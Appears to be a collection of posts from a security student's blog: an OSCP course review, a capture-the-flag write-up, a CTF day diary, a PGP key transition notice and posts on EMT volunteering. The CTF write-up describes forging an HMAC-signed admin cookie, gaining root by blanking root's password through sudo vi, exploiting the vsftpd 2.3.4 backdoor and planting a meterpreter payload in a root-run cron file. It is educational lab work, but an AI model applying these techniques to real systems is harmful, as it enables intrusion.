The OSCP course is absolutely fantastic and did not feel like a course at all, I’m sure they should add a warning to the course to say it’s extremely addicting!! Having withdrawal symptoms already!. In all seriousness, I would highly recommend this course to anyone with a passion and dedication to wanting to enter the information security field as long as you have the pre-requisite knowledge. Despite some reviews that mentioned scripting/programming experience is a must, I would disagree with this as my prior programming experience was not too great and with further research using online resources and exploit development tutorials I was able to make things work without issue.

The most important aspect of this course is the drive to succeed and you must push yourself to Try Harder! I’m very proud of achieving this qualification and it’s something I can say I dedicated time to and worked for, unlike other qualifications that are just memorization tests.

I would also recommend you purchase enough lab time, depending on your time commitments and skill level and if you do not have the pre-requisite knowledge then I would recommend further learning before taking OSCP with courses such as PTS and/or PTP from eLearnSecurity. Another thing to note is, people taking this course may exploit machines at a different rate than you and/or even pass first time. Not everyone may pass first time, as everyone has different knowledge and ways of doing things. So keep going, and do not stop till you pass! I was surprised that I passed first time, however I did put a lot of effort into the course which paid off in the end.

Enumeration Scripts

During the course of the PWK labs, I created two bash scripts which I used in combination with other tools for all enumeration attempts which was very successful. I’m hoping to further develop my basic bash scripts into a more suitable Python script with multi-threading to save time in the future. You may download them below, however I would recommend developing something on your own.

NMAPv2.sh http://pastebin.com/e4zRNywc

HTTPEnum.sh http://pastebin.com/kv6qcUHh

Useful Resources

http://www.fuzzysecurity.com/tutorials/16.html https://it-ovid.blogspot.co.uk/2012/02/windows-privilege-escalation.html https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet https://pentest.blog/explore-hidden-networks-with-double-pivoting/ https://github.com/maurosoria/dirsearch http://www.fuzzysecurity.com/tutorials/expDev/1.html

I decided I’d post a blog post on some of the challenges I undertook, and how I solved them. I have not included answers to the trivia and other simpler challenges which we solved as a team. This blog post address’s one of the web challenges and the RBS bank safe challenge that I completed.

CTF Scoreboard

Throughout the day, the progress was pretty steady-going and head to head with the first team (Russel V2.0), which coincidentally was the team from Abertay University which I was supposed to be representing. Once the CTF came to an end, our team ended up in 2nd place and 200 points behind first place. In hindsight, the CTF was a really good experience and for being a randomly put together team, was a success.

Nigel - 400 Points

The CTF challenge took us to a webpage which was http://nigel.sigint.mx and upon inspection displayed the following webpage.

DirSearch was then utilised to scan for directories on the web server, which highlighted some interesting files and folders.

After visiting the “admin.php” file, it displayed a message saying “You must be an administrator to view this page”, the next step was to investigate the application further which was done by using Burp Suite. After utilising burp suite, a interesting session header was noted.

The session cookie was then copied into a bash terminal and echoed into base64 -d to decode the string, which was displayed below.

The encoded hash was then entered into hash-identifier which resulted in the hash being detected as SHA256.

After reviewing the code, the quoted value of “0” was changed to “1” to see if this would change the application logic into allowing access to the website, the string was then encoded with base64.

The encoded string was then sent by modifying the session cookie header and after being sent through the Burp Suite Proxy, the following message appeared.

The next step was to investigate the SHA256 string. After some research, the possibility of the SHA256 being a HMAC hash was evident. This meant that whatever was changed within the cookie would not infact log us in, because of the HMAC hash not matching up to the data sent. HMAC requires a key, which we did not have. Various attempts at using keys such as “nigel”, “dev” and “admin” were used initially.

After reviewing the “/dev.php”, an image of Nigel captioned “I feel smashing” was discovered. The image in question had a pixellated error and appeared to be modified. The “strings” command was executed on the dev.jpg image, which resolved in the detection of a base64 encoded string.

After decoding the base64 text, string appeared which appeared to be further encoded/encrypted.

An online ROT13 tool was utilised with the key being set to “guess”, this resulted in a clear text unencrypted key, as shown below.

The string along with the HMAC key was then encoded using an online SHA256 hash calculator, which is shown below.

The following cookie was then sent to the server by using the Burp Suite Proxy intercept on the “/admin.php” web page.

sea:1:{s:5:"admin";s:1:"1";}dd02f66c96a8b84bda467faaf7d4b474390be25591237811dfbeb1b5ee9f7c04

Finally, after sending the above cookie to the server the flag was discovered.

Linux Privilege Escalation - 200 Points

Another challenge was to download a Linux VM image, and escalate privileges to root. The .ova VM was downloaded and then imported into VMWare. The low privilege user was named “attacker”.

The first step was to check for the existence of sudo and the sudo entries by running “sudo -ll”. After running this command, the vi text editor was discovered as an authorised sudoers command, that can be executed by all users. This instantly means game over, as the privilege escalation is simple.

The following command was then executed “sudo vi /etc/passwd”. After opening the vi text editor, the “x” was removed after “root:”, which removes the password from the user. The file was then saved.

As shown below the file was written to disk, and “su” was used to switch users to root. The privilege escalation was successful. Easy eh?

Bank Safe Challenge - 400 Points

For the safe challenge, a separate wireless network was given to us along with a password and no other information apart from open the safe that is present in the room.

The first step was to identify hosts on the network, which was done by using the nmap command “nmap -sS 192.168.0.1-254”. After running the command, one host with particularly interesting ports was the host 192.168.0.3.

The host had a few ports open, however one interesting port to note was 31337. As nmap did not display the version number of the FTP server, netcat was utilised to retrieve the banner and revealed the version number of vsFTPd 2.3.4.

The FTP client was used to connect to the server with anonymous credentials (anonymous/anonymous). This was successful and allowed for file traversal.

Using exploit database, I quickly discovered that vsftpd 2.3.4 may be vulnerable to command execution via a known backdoor with the software.

https://www.exploit-db.com/exploits/17491/

The vsftpd exploit was used within msfconsole using the default options (Along with setting the RHOST). As shown below, remote command execution was successful.

The next step was to launch a bash shell environment by using the following command:

“find / -name blahblah -exec /bin/awk ?BEGIN {system("/bin/bash”)}' \;"

The next step was to download a privilege escalation script named “unix-privesc-check” which was downloaded by using wget into the “/tmp” directory. After executing the script, two interesting results were found, the main one in particular was the presence of a cronjob which was set to run every second and then remove the file. In addition to this, the file was set to be run as root.

The script also discovered insecure permissions of the billy home directory, which means the current user can write to that directory. In particular, I was now able to write the “open_safe.py” file to the home directory and that would be executed as root.

With the knowledge at hand, the next step was to generate a Python payload by using MPC.

The file was then downloaded using wget, and renamed using “mv python-meterpreter* open_safe.py”

The file permissions of the Python payload was then set to be executable.

Next, the payload handler was started using the generated .rc file by MPC.

Hoorah! We got r00t.

With a root shell, the file system was further enumerated. After reviewing the .bash_history file, the presence of open.py was found in the “/opt/RBS/safe”. Python open.py was then executed, with the message of “[!] Access Granted.”. Hoorah, we got in!

Now I hurried over to the safe, however it did not open. After going back to my terminal and reviewing the code, it seems the safe closes after one second. One of our team members hit the key to execute the file, while I went to open the safe. In hindsight, I could of modified the file and increased the sleep time.

Finally, it seems we were not supposed to actually root the system and instead symlink the open.py file to open_safe.py within the billy home directory. Although, I was in the OSCP rooting mode from the past 40 days spent in the lab, so automatically went to root the system!.

A very fun day indeed. Feel free to email me any questions or send me a tweet.

This really helps being on a student budget, and will be relevant to the mobile development module at Abertay University next semester, I’ll be posting a review once I finish and pass the course. However so far, the course looks pretty solid with plenty of videos, slides and virtual labs with real world vulnerable applications.

Having completed eCPPT from eLearnSecurity in 2014, I know for sure that this would be another excellent course.

Will keep the blog up to date with more information, stay tuned!

We then moved towards the lab, and I found my team members for the CTF. Unfortunately my own university’s team from Abertay University were already full due to it being 4 members per team, so I was on a mixed team with students from SHU. After a brief introduction and creating our team name “Invaderz”, I got stuck straight into the challenges and worked on the miscellaneous and forensics challenges. The CTF was using a web app with different categories of challenges and each challenge represented a various amount of points.to score for the team, during the first few hours we was making progress and each of us scoring points which caused us to hold second place with Abertay University (Team Russel) holding first place.

We then had lunch after making some progress during the morning, and listened to a talk on WiFi leakage which was interesting to find out how much data our devices leak without us realising it, and the OSINT information that could be gathered.

After a quick charge up of energy and some more coffee (of course), we then made our way back to the hack lab and I started to work on the Wireshark forensics challenge, which seemed to be more challenging than I thought after spending half an hour trying to get the attachment decoded, and rebuilt from the pcap file. It did not help that Kali 2.0 was used in the labs and we could not update/install software due to the repo not working, and once I changed the sources to old kali 2.0 repo the software I needed would not install. So after looking into some more tools and commands I found some other software.

Then we were approached by staff to go and attempt to pick the lock for the lock picking challenge, with a chance to win more points. Off we went to attempt the challenge and was given a brief talk/demonstration on lock picking. After I tried to pick the lock, I managed to bend one of the tools… Which was not a good start, after one of us picked the lock we gave up and went back to the CTF to try and keep in the game and get to 2nd place. Time was running out at this point with only a few hours to go, so we was all desperately trying various challenges to try and rack up more points.

It then came up to the last ten minutes and I was trying as hard as I could to try and work out where the flag was in this pcap file, at this point we was still third which was not so bad. However… it then came to the last two minutes and one team had an ace up their sleeve and submitted a few flags which brought us into forth place with a 30 points difference.

And that was it! A spectacular day, I learned loads and got to work with like minded people. It was also nice to see our university came first place (Shame I was not on that team!!). After speaking to other teams once it finished, it seemed I was looking in the wrong place in the pcap file, and actually had to login to an email and download the flag and not trying to download a attachment from the pcap file, which is why it was not working.

I will certainly be back next time!!

OpenPGP Key Transition Statement for James Hemmings / james@hemmings.pw

I have created a new OpenPGP key and will be transitioning away from my old key. The old key has not been compromised and will continue to be valid for a short period of time, but I prefer all future correspondence to be encrypted to the new key, and will be making signatures with the new key going forward.

The reason for the new key transition is to increase encryption from 2048 RSA to 4096 RSA.

I would like this new key to be re-integrated into the web of trust. This message is signed by both keys to certify the transition. My new and old keys are signed by each other. If you have signed my old key, I would appreciate signatures on my new key as well, provided that your signing policy permits that without re-authenticating me. The old keys, which I am transitioning away from, is:

pub 2048R/8F8C3666 2014-08-03 Key Fingerprint = 3BED844069C9A894F91D88F792992F4A8F8C3666

The new keys, to which I am transitioning, is:

pub 4096R/AEDC917C 2016-09-15 Key Fingerprint = CF06336569FB80B16F5B7BAECCF606D6AEDC917C

The entire key may be downloaded from: https://jameshemmings.co.uk/docs/AEDC917C.txt

To fetch the full new key from a public key server using GnuPG, run:

gpg –keyserver keys.gnupg.net –recv-key AEDC917C

If you already know my old key, you can now verify that the new key is signed by the old one:

gpg –check-sigs AEDC917C

If you are satisfied that you’ve got the right key, and the User IDs match what you expect, I would appreciate it if you would sign my key:

gpg –sign-key AEDC917C

You can upload your signatures to a public keyserver directly:

gpg –keyserver keys.gnupg.net –send-key

Or email james@hemmings.pw(possibly encrypted) the output from:

gpg –armor –export

If you’d like any further verification or have any questions about the transition please contact me directly.

To verify the integrity of this statement:

wget -q -O- https://jameshemmings.co.uk/docs/key_transition-2016-09-15.txt|gpg –verify

Regards, James Hemmings Twitter: @MrJamesHemmings Email: james@hemmings.pw WWW: jameshemmings.co.uk —–BEGIN PGP SIGNATURE—– Version: GnuPG v2

iQEcBAEBCAAGBQJX2oSgAAoJEJKZL0qPjDZmEG8H/A3zBhChCSCsBtJcxE6N7gqO go+jri7kPxLJFlGKhoesAVqzPikEB9Vnev/tn6iXxSrEzdYYu73tt8Wiasi4l5jW T7NlHRR0oWgIWoU50ynRi7+OSxk3OwaMpo/DYdfl8SAtJ+TGMyOt+udA44lBXUG0 o1jl+IHKVBzJuw6iCHrkEAJYDFXeh4FQHF9yhE+izbXy8xqnXHmUJDUGT6CLbuFg ikHpU+Dz6KcU8NJRngKCTMI9+xlWatxoECE2AreqoHe5zYg9Dc3XsODe1xolQDJg geFa8docHjhttr1JY/OG71IX1omjnE6T2xsZ7w3bCAVUgiDDwJ7UftsX2Ln8DZaJ AhwEAQEIAAYFAlfahKAACgkQ/Mr1JCokEO8QbxAAkAsFAZeiboDIEDe0sdVH1WJK zBjcpy+9KdSmZIR71YP3t/SOJ8PjZCt/Q+pNiyI2fc6i9SvQld3/35MsPf+m2ZyC 78za5rhYcWYFZLF+LOwiecZXNfxLNUzIs6bfhFezXxPHFeGVyZgbhryt+8Hqw+wZ T8b8K24i78KOW1tqMmvEPO3v7HJxoYNURO26tA75EIaGWVOiHBJvIM8MjpwTih/b lZD3vZpAWPNlTvquEFimLQYV8fTZbmZUiHrZaFN8HIBYqhe/XKLK57RiiZ6CqBjr pq/iuzVwctMOqVN3BQth/5tqRxxZ/WIUcJ+1pL6YZ5sbvMZAmX7NqJi6+7hrGvJi L2czJleciX1OkBS/kpeck+nkpgPu+gXKnVClHB6jvnZaNhMy2aSb95/mtuRiwfJW ZNMEHVAAVHPHwro769dB2m5m4bww3dR6syGkj9tOuyZQ7l/7eugEj4bJgp2ga/Jt MRdoavOfpLdpDxbH2+/XTSH/CCiIjGPvYnHuHr8thqLnzvmNi+a1KJ9c70+/awqx IvOOLzQdgY9rm+tNWZebg9SCDUD+N5QZuFtfwjhHo+Kt6+t5BjjYDwFzgyKcPnlk 8CHUuq/UHtoP4kwZiSstM2JLYYazTMkTmAzPamCYGgI7kGJ2amzSnwpDKqU6GfQ8 NpC2RAVNBTHEe8yt+rc= =gAMr —–END PGP SIGNATURE—–

PGP Statement for Verification: https://www.jameshemmings.co.uk/docs/key_transition-2016-09-15.txt

Public Key: https://www.jameshemmings.co.uk/docs/AEDC917C.txt

https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/

Anyone else took this course before? Post in the comments with your thoughts.

Some may wonder why I have been volunteering as an EMT/Firefighter and wondering if that’s what I want to do instead of Cyber Security. However, I find it important to be able to do things outside of studying and going out of your comfort zone is very important. Being able to do something new and exciting and learn important skills is what drew me to volunteering as well as making a difference in the local community and paying my way back for being able to come to the USA.

I’ve learnt so many skills from being part of the US 911 system, such as leadership, teamwork, being outside comfort zone, and attention to detail.

I still have another month back before I leave the US, and I’ve come to realise just how I love it here. The people, culture and different way of doing things really has grown on me and I hope to come back and live in the USA, working in the cyber security field here.

I’m very proud to have completed all the goals I set before coming to the USA by finishing college in the US and passing Vehicle Rescue, Firefighter I, and EMT-B. I created a video below, which sums up what I’ve been up to with the Fire Department.

https://www.youtube.com/watch?v=k5IR5gRMqbU

I’ve also noticed other things while in America, such as the minor differences in protocols such as the shock position where as in the UK the legs are raised, to supposedly bring flow back to the central core, however research in the US suggests this is ineffective and would only send around 50ml to the heart and increase blood pressure slightly but cardiac output would not be increased. There is also some differences in equipment in the Ambulances and at the moment King airways and combitubes are used by EMTs and not i-gels which are far superior and easy to use.

I’m really excited to start volunteering as an EMT here in the USA, and will soon be signing up to the local fire department (OLFC) in Williamsport. Just need to get the NREMT final exam complete, then gain state certification.

Well, that’s it for now! Will keep the blog updated, more as I progress in US EMS.

Overall after taking the exam, I felt it was pretty easy after my three weeks of study. I used a combination of Darril Gibson’s book, Professer Messer Videos along with flashcards. I would recommend anyone who is planning to take this exam however, to make sure Network+ is taken before or another networking certification as there is some knowledge which cross’s over.

My next certification? Well, I am unsure at the moment however I am tempted to either study for Linux+ or start to focus on Python and take the SecurityTube Python Scripting Expert, or OSCP. (Depending on funds). University Life and all!

That’s all for now.